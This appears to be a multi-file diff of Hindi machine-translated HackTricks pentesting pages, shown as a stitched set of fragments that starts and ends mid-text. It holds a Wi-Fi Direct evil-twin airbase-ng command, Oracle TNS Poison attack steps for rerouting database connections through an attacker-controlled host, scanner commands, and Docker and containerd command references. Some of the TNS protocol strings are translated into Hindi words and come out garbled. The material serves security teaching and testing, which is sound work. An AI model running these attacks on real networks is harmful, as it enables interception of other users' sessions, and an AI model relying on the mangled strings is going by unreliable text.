यह Evil-Twin की तरह काम करता है लेकिन Wi-Fi direct के लिए, आप group owner की नकल करके अन्य उपकरणों जैसे फोन्स को आपसे जुड़ने का प्रयास कर सकते हैं: `airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0`
|
||||
|
||||
## संदर्भ
|
||||
|
||||
* [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
|
||||
* [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
|
||||
* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38)
|
||||
* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d)
|
||||
* [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf)
|
||||
* [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
||||
* [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
|
||||
|
||||
TODO: [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) पर नज़र डालें (facebook के साथ लॉगिन और captive portals में WPA की नकल)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
|
||||
|
||||
**Hacking Insights**\
|
||||
हैकिंग के रोमांच और चुनौतियों के बारे में गहराई से जानकारी प्राप्त करें।
|
||||
|
||||
**Real-Time Hack News**\
|
||||
रियल-टाइम न्यूज़ और अंतर्दृष्टि के माध्यम से हैकिंग की तेज़ी से बदलती दुनिया के साथ अप-टू-डेट रहें।
|
||||
|
||||
**Latest Announcements**\
|
||||
नवीनतम बग बाउंटीज़ लॉन्चिंग और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें।
|
||||
|
||||
[**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमसे जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें।
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) में **शामिल हों** या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
Wi-Fi Direct उपकरणों को सुरक्षित रूप से कनेक्ट करने के लिए Wi-Fi Protected Setup (**WPS**) पर निर्भर है। WPS में **Push-Button** Configuration (PBC), **PIN entry**, और **Near-Field** Communication (NFC) जैसे कई कॉन्फ़िगरेशन विध
|
||||
|
|
|
@ -1,54 +1,50 @@
|
|||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
हैकट्रिक्स का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**टेलीग्राम समूह**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी हैकट्रिक्स में विज्ञापित हो** या **हैकट्रिक्स को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# TNS Poison
|
||||
'टीएनएस पॉइजन' नामक एक सुरक्षा दोष 12c तक के संस्करणों को प्रभावित करता है, जिसमें अंतिम केवल विशिष्ट विन्यासों के तहत विकल्पशील है। उदाहरण के लिए, लिस्टनर की गतिशील विन्यास को अक्षम करना एक उपचार उपाय है जो ओरेकल डेटागार्ड, पीएल/एसक्यूएल गेटवे विथ एपेक्स, और कुछ एसएपी संस्करणों का उपयोग करने वाले सेटअप में संभावना नहीं है। यह सुरक्षा दोष लिस्टनर सेवा के डिफ़ॉल्ट व्यवहार से उत्पन्न होता है जो दूरस्थ विन्यास, सहित अनामित विन्यास, का समर्थन करने का केंद्र है, जो दोष का मूल है।
|
||||
|
||||
यदि आपको नए संस्करण का listener मिलता है, तो ब्रूट-फोर्सिंग के अलावा ज्यादा विकल्प नहीं बचते हैं। हालांकि, संस्करण 12c तक के सभी संस्करण 'TNS Poison' नामक हमले के लिए संवेदनशील हैं। बाद के संस्करण केवल कुछ विशेष कॉन्फ़िगरेशन में ही संवेदनशील होते हैं। उदाहरण के लिए, इस कमजोरी को ठीक करने का एक तरीका listener के डायनामिक कॉन्फ़िगरेशन को अक्षम करना है, जो Oracle DataGuard, PL/SQL Gateway के साथ APEX और कुछ SAP संस्करणों का उपयोग करते समय असंभव है। सामान्यतः, समस्या यह है कि, डिफ़ॉल्ट रूप से, listener सेवा दूरस्थ कॉन्फ़िगरेशन का समर्थन करती है और इसके अलावा, यह इसे गुमनाम रूप से करने की अनुमति देती है। यहीं पर कमजोरी का मूल है।
|
||||
![https://hackmag.com/wp-content/uploads/2015/04/poison.png](https://hackmag.com/wp-content/uploads/2015/04/poison.png)
|
||||
|
||||
[![चित्र 1. TNS Poison कमजोरी](https://hackmag.com/wp-content/uploads/2015/04/poison.png)](https://hackmag.com/wp-content/uploads/2015/04/poison.png)
|
||||
*चित्र 1 टीएनएस पॉइजन सुरक्षा दोष को दर्शाता है।*
|
||||
|
||||
चित्र 1. TNS Poison कमजोरी
|
||||
एक नमूना हमले का एल्गोरिथ्म निम्नलिखित रूप में विस्तार से वर्णित है (चित्र 1 का संदर्भ देखें):
|
||||
|
||||
यह एक नमूना हमले की एल्गोरिथम है \(चित्र 1 देखें\):
|
||||
1. एक टीएनएस क्वेरी, 'CONNECT_DATA=(COMMAND=SERVICE_REGISTER_NSGR)', भेजना है।
|
||||
2. 'विकल्पना=(विवरण=(टीएमपी=))' का प्रतिक्रिया दोषपूर्णता को दर्शाता है, जबकि एक पैच किया गया सर्वर 'विकल्पना=(ERROR_STACK=(ERROR=1194))' के साथ प्रतिक्रिया देता है।
|
||||
3. हमलावर को एक विन्यास पैकेज उत्पन्न करना होगा, जिसमें नए लिस्टनर के लिए एसआईडी और आईपी शामिल हैं, जो एक मैन-इन-द-मिडिल (MITM) हमले के लक्ष्य से है। वर्तमान एसआईडी के नाम की लंबाई एक वेल फॉर्म्ड पैकेज बनाने के लिए महत्वपूर्ण है।
|
||||
4. ये घटक फिर लिस्टनर को फॉरवर्ड किए जाते हैं।
|
||||
5. सफल क्रियान्विति के बाद, नए कनेक्शन लिस्टनर द्वारा हमलावर के नियंत्रित आईपी के माध्यम से निर्देशित होते हैं।
|
||||
|
||||
* निम्नलिखित TNS क्वेरी भेजें: 'CONNECT\_DATA=\(COMMAND=SERVICE\_REGISTER\_NSGR\)\)'.
|
||||
* संवेदनशील सर्वर जवाब देगा: '\(DESCRIPTION=\(TMP=\)\)'. यह एक पैच किए गए सर्वर से जवाब होगा: '\(ERROR\_STACK=\(ERROR=1194\)\)'.
|
||||
* नए listener के SID और IP के साथ एक कॉन्फ़िगरेशन पैकेज तैयार करें \(भविष्य के MITM के लिए\). वर्तमान SID के नाम में अक्षरों की संख्या महत्वपूर्ण है। आपको इसे जानना होगा, क्योंकि इस पर Well Formed पैकेज निर्भर करता है।
|
||||
* इसके बाद, ये सभी चीजें listener को भेजें।
|
||||
* यदि सब कुछ सही है, तो सभी नए कनेक्शन आपके नियंत्रित IP के माध्यम से listener द्वारा अग्रेषित किए जाएंगे।
|
||||
मान्यता प्राप्त करने के लिए क्वेरी प्रॉक्सीइंग (लिनक्स में आईपी फॉरवर्डिंग के समान) को सक्रिय करना महत्वपूर्ण है ताकि एक संभावित MITM हमले को एक सेवा की अस्वीकृति (DoS) हमले में बदलने से रोका जा सके, जिससे नए ग्राहक डेटाबेस से कनेक्ट करने में बंध हो सकते हैं। यह सुरक्षा दोष एक हमलावर को दूसरे उपयोगकर्ता के सत्र में कमांड डालने की अनुमति देता है। सर्वर की दोषपूर्णता का मूल्यांकन किया जा सकता है मेटास्प्लॉइट फ्रेमवर्क (एमएसएफ) मॉड्यूल का उपयोग करके: 'auxiliary/scanner/oracle/tnspoison_checker'।
|
||||
|
||||
क्वेरीज की प्रॉक्सीइंग सक्षम करना महत्वपूर्ण है \(जैसे कि Linux में IP\_forwarding\), अन्यथा, एक साफ MITM हमले के बजाय, आपको एक कठोर DoS मिलेगा, क्योंकि नए क्लाइंट डेटाबेस से कनेक्ट नहीं हो पाएंगे। परिणामस्वरूप, हमलावर अन्य उपयोगकर्ता के सत्र में अपने स्वयं के आदेशों को शामिल कर सकता है। **सर्वर संवेदनशील है या नहीं यह जांचने के लिए आप निम्नलिखित MSF मॉड्यूल का उपयोग कर सकते हैं: 'auxiliary/scanner/oracle/tnspoison\_checker'.**
|
||||
अधिक जानकारी के लिए मूल [Hackmag के आर्टिकल पर जांचें Oracle DB प्रवेश विधियों](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)।
|
||||
|
||||
यह सभी पृष्ठ यहाँ से निकाले गए थे: [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
|
||||
**टेस्ट करने का अन्य तरीका:**
|
||||
```
|
||||
**वैकल्पिक परीक्षण विधि:**
|
||||
```text
|
||||
./odat.py tnspoison -s <IP> -p <PORT> -d <SID> --test-module
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **मुझे** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,36 +1,38 @@
|
|||
# 2375, 2376 Docker का पेंटेस्टिंग
|
||||
# 2375, 2376 पेंटेस्टिंग डॉकर
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
* क्या आप एक **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family)
|
||||
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का** **अनुसरण** करें।**
|
||||
* **अपने हैकिंग ट्रिक्स को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके अपना योगदान दें।**
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का** **अनुसरण** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
||||
## Docker Basics
|
||||
## डॉकर मूलभूत
|
||||
|
||||
### यह क्या है
|
||||
### क्या है
|
||||
|
||||
Docker प्लेटफ़ॉर्म उच्च गति वाले नवीनतम नवीनीकरण के लिए उद्योग-प्रमुख कंटेनर प्लेटफ़ॉर्म है, जो संगठनों को किसी भी अनुप्रयोग को सहजता से बनाने और साझा करने की अनुमति देता है - पुराने से लेकर आने वाले अनुप्रयोगों तक - और उन्हें किसी भी सुरक्षित स्थान पर सुरक्षित रूप से चलाने की अनुमति देता है।
|
||||
डॉकर प्लेटफ़ॉर्म उच्च गति वाले नवीनतम अविष्कार के लिए उद्यमों को सुगमता से किसी भी एप्लिकेशन को निर्मित और साझा करने की अनुमति देता है - पुराने से लेकर आने वाले कुछ भी - और उन्हें किसी भी स्थान पर सुरक्षित रूप से चलाने की।
|
||||
|
||||
### मूल docker आर्किटेक्चर
|
||||
### मूल डॉकर वास्तुकला
|
||||
|
||||
यह जानकारी [यहां](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc) से है।
|
||||
यह जानकारी [यहाँ से](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc) है।
|
||||
|
||||
* [containerd](http://containerd.io) एक कंटेनर रनटाइम है जो **छवि स्थानांतरण/संग्रह से लेकर कंटेनर क्रियान्वयन, पर्यवेक्षण और नेटवर्किंग तक पूरे कंटेनर जीवनचक्र का प्रबंधन कर सकता है**। **containerd के बारे में अधिक जानकारी नीचे दी गई है।**
|
||||
* container-shim हेडलेस कंटेनर को संभालता है, अर्थात् runc कंटेनर्स को प्रारंभ करता है, और उन्हें container-shim को सौंपता है जो मध्यस्थ की तरह कार्य करता है।
|
||||
* [runc](http://runc.io) हल्का यूनिवर्सल रनटाइम कंटेनर है, जो OCI निर्देशिका का पालन करता है। **runc का उपयोग containerd द्वारा OCI निर्देशिका के अनुसार कंटेनर्स को उत्पन्न और चलाने के लिए किया जाता है**। यह libcontainer का पुनर्पैकेजिंग भी है।
|
||||
* [grpc](http://www.grpc.io) containerd और docker-engine के बीच संचार के लिए उपयोग किया जाता है।
|
||||
* [OCI](https://www.opencontainers.org) रनटाइम और छवि के लिए OCI निर्देशिका का ध्यान रखता है। मौजूदा docker संस्करण OCI छवि और रनटाइम निर्देशिकाओं का समर्थन करते हैं।
|
||||
* [containerd](http://containerd.io) एक कंटेनर रनटाइम है जो एक पूरे कंटेनर जीवनचक्र का प्रबंधन कर सकता है - छवि स्थानांतरण/संग्रह से कंटेनर कार्यान्वयन, पर्यवेक्षण और नेटवर्किंग। **कंटेनरडी के बारे में अधिक जानकारी नीचे है।**
|
||||
* कंटेनर-शिम हेडलेस कंटेनर को संभालता है, अर्थात runc जब कंटेनर्स को प्रारंभ करता है, तो यह कंटेनर्स को कंटेनर-शिम के पास सौंप देता है जो कुछ मध्यस्थ के रूप में काम करता है।
|
||||
* [runc](http://runc.io) हल्का सार्वभौमिक रन टाइम कंटेनर है, जो OCI निर्देशिका का पालन करता है। **runc का उपयोग containerd द्वारा OCI निर्देशिका के अनुसार कंटेनर्स को उत्पन्न करने और चलाने के लिए किया जाता है।** यह लिबकंटेनर का पुनरावलोकन भी है।
|
||||
* [grpc](http://www.grpc.io) containerd और डॉकर-इंजन के बीच संचार के लिए उपयोग किया जाता है।
|
||||
* [OCI](https://www.opencontainers.org) रनटाइम और छवियों के लिए OCI निर्देशिका का रखरखाव करता है। वर्तमान डॉकर संस्करण OCI छवि और रनटाइम निर्देशिकाओं का समर्थन करते हैं।
|
||||
|
||||
![runC, containerD](https://i.stack.imgur.com/5aXF6.png)
|
||||
|
||||
### मूल आदेश
|
||||
### मूल कमांड्स
|
||||
```bash
|
||||
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
|
||||
docker info #Get more infomarion about docker settings
|
||||
|
@ -55,9 +57,9 @@ docker system prune -a
|
|||
```
|
||||
### Containerd
|
||||
|
||||
कंटेनर्ड को डॉकर और कुबरनेटीज़ के उपयोग के लिए डिज़ाइन किया गया था, साथ ही अन्य कंटेनर प्लेटफ़ॉर्म के लिए भी जो लिनक्स, विंडोज, सोलरिस या अन्य ओएस पर कंटेनर चलाने के लिए सिसकॉल्स या ओएस विशिष्ट विशेषताओं को छिपाना चाहता है। इन उपयोगकर्ताओं को ध्यान में रखते हुए, हम चाहते थे कि कंटेनर्ड में सिर्फ वही हो जो उन्हें चाहिए और उनके पास वही न हो जो उन्हें चाहिए। यह वास्तविकता में असंभव है लेकिन कम से कम यही हम कोशिश करते हैं। जैसे कि नेटवर्किंग कंटेनर्ड के लिए बाहरी है। इसका कारण यह है कि जब आप एक वितरित सिस्टम बना रहे होते हैं, तो नेटवर्किंग एक बहुत महत्वपूर्ण पहलू होता है। आज के समय में एसडीएन और सेवा खोज के साथ, नेटवर्किंग लिनक्स पर नेटलिंक कॉल्स को छिपाने से अधिक प्लेटफ़ॉर्म विशिष्ट हो गया है।
|
||||
Containerd का निर्माण Docker और Kubernetes द्वारा उपयोग के लिए किया गया था साथ ही किसी भी अन्य कंटेनर प्लेटफ़ॉर्म के लिए जो **कंटेनर को चलाने के लिए syscalls या OS विशिष्ट कार्यक्षमता को abstract करना चाहता है** लिनक्स, विंडोज, सोलरिस, या अन्य OSes पर। इन उपयोगकर्ताओं को ध्यान में रखते हुए, हमने यह सुनिश्चित करना चाहा कि containerd में केवल वह हो जो उन्हें चाहिए और उनके लिए कुछ नहीं है। वास्तविकता में यह असंभव है लेकिन कम से कम यही हम कोशिश करते हैं। जैसे कि **नेटवर्किंग containerd के scope से बाहर है**। इसका कारण यह है, जब आप एक वितरित सिस्टम बना रहे होते हैं, तो नेटवर्किंग एक बहुत महत्वपूर्ण पहलू है। SDN और सेवा खोज आजकल, नेटवर्किंग लिनक्स पर netlink कॉल को abstract करने से अधिक प्लेटफ़ॉर्म विशिष्ट है।
|
||||
|
||||
ध्यान दें कि **डॉकर कंटेनर्ड का उपयोग करता है, लेकिन यह केवल डॉकर की प्रदान की गई सुविधाओं का एक उपसमूह प्रदान करता है**। इसलिए उदाहरण के लिए कंटेनरड में डॉकर के नेटवर्क प्रबंधन सुविधाएं नहीं हैं, और आप कंटेनरड का उपयोग करके अकेले डॉकर स्वार्म बनाने के लिए नहीं कर सकते।
|
||||
ध्यान दें कि **Docker Containerd का उपयोग करता है, लेकिन यह केवल वही सुविधाएँ प्रदान करता है जो Docker प्रदान करता है**। इसलिए उदाहरण के लिए ContainerD में Docker के नेटवर्क प्रबंधन सुविधाएँ नहीं हैं, और न आप ContainerD का उपयोग करके Docker swarms बना सकते हैं।
|
||||
```bash
|
||||
#Containerd CLI
|
||||
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
|
||||
|
@ -75,22 +77,20 @@ ctr container delete <containerName>
|
|||
```
|
||||
### Podman
|
||||
|
||||
**यहाँ से जानकारी** [**प्राप्त करें**](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
||||
एक ओपन-सोर्स, OCI ([Open Container Initiative](https://github.com/opencontainers)) अनुरूप कंटेनर इंजन जिसे Podman के नाम से जाना जाता है, रेड हैट द्वारा बनाया और बनाया जाता है। यह Docker से कई मुख्य भिन्नताओं से चरित्रित है, जिसमें इसका डेमनलेस संरचना और रूट एक्सेस की आवश्यकता न होने वाले कंटेनरों का समर्थन शामिल है। दोनों उपकरणों का मुख्य कार्य छवियों और कंटेनरों का प्रबंधन करना है। Podman का एक महत्वपूर्ण लक्ष्य Docker के API के साथ संगतता है, जिससे Podman में लगभग सभी Docker CLI कमांड का उपयोग किया जा सकता है।
|
||||
|
||||
Podman एक ओपन सोर्स, OCI ([ओपन कंटेनर इनिशिएटिव](https://github.com/opencontainers)) अनुरूप कंटेनर इंजन है। यह रेड हैट द्वारा चलाया जाता है और डॉकर की तुलना में कुछ मुख्य अंतर हैं, जैसे कि इसकी डेमनलेस आर्किटेक्चर और रूटलेस कंटेनर्स के समर्थन की। मूल रूप से, दोनों टूल एक ही काम करते हैं: छवियों और कंटेनर्स का प्रबंधन। **Podman का एक उद्देश्य डॉकर-संगत API होना है**। इसलिए, डॉकर CLI के लगभग सभी CLI (कमांड लाइन इंटरफ़ेस) कमांड Podman में भी उपलब्ध हैं।
|
||||
Podman पारिस्थितिक में, दो अतिरिक्त उपकरण, Buildah और Skopeo, मौजूद हैं। Buildah एक CLI उपकरण के रूप में कंटेनर छवियों को बनाने के लिए काम आता है, जबकि Skopeo को push, pull, या inspect जैसे छवियों पर कार्रवाई के लिए उपयोग किया जाता है। इन उपकरणों और उनके Podman के साथ एकीकरण के बारे में अधिक जानकारी के लिए, [उनके GitHub पेज पर संदर्भित करें](https://github.com/containers/buildah/tree/master/docs/containertools)।
|
||||
|
||||
आप Podman पारिस्थितिकी में दो अन्य उपकरण भी पाएंगे: Buildah और Skopeo। Buildah एक CLI उपकरण है जिसका उपयोग कंटेनर छवियों को बनाने के लिए किया जाता है, और Skopeo एक CLI उपकरण है जिसका उपयोग छवियों पर ऑपरेशन चलाने के लिए किया जाता है, जैसे कि पुश, पुल या इंस्पेक्ट। [इन उपकरणों और उनके संबंध के बारे में अधिक जानकारी के लिए GitHub की जांच करें](https://github.com/containers/buildah/tree/master/docs/containertools)।
|
||||
**मुख्य भिन्नताएँ**
|
||||
|
||||
**मुख्य अंतर**
|
||||
Docker और Podman के बीच सबसे महत्वपूर्ण भिन्नता उनके वास्तुकल्पनिक डिज़ाइन में है। Docker एक क्लाइंट-सर्वर मॉडल पर काम करता है, जिससे छवियों का निर्माण और कंटेनर क्रियान्वयन के लिए जिम्मेदार बैकग्राउंड डेमन के साथ बातचीत के लिए Docker CLI का उपयोग करना आवश्यक होता है, जो रूट विशेषाधिकारों के साथ काम करता है। उल्ट, Podman एक डेमनलेस संरचना का उपयोग करता है, जिससे छवियों को आरंभ करने वाले उपयोक्ता की विशेषाधिकारों के तहत बिना रूट एक्सेस की आवश्यकता होती है। यह डिज़ाइन सुनिश्चित करता है कि Podman के उपयोक्ताओं केवल अपने खुद के कंटेनरों के साथ बातचीत कर सकते हैं, CLI संचार के लिए साझा डेमन न हो।
|
||||
|
||||
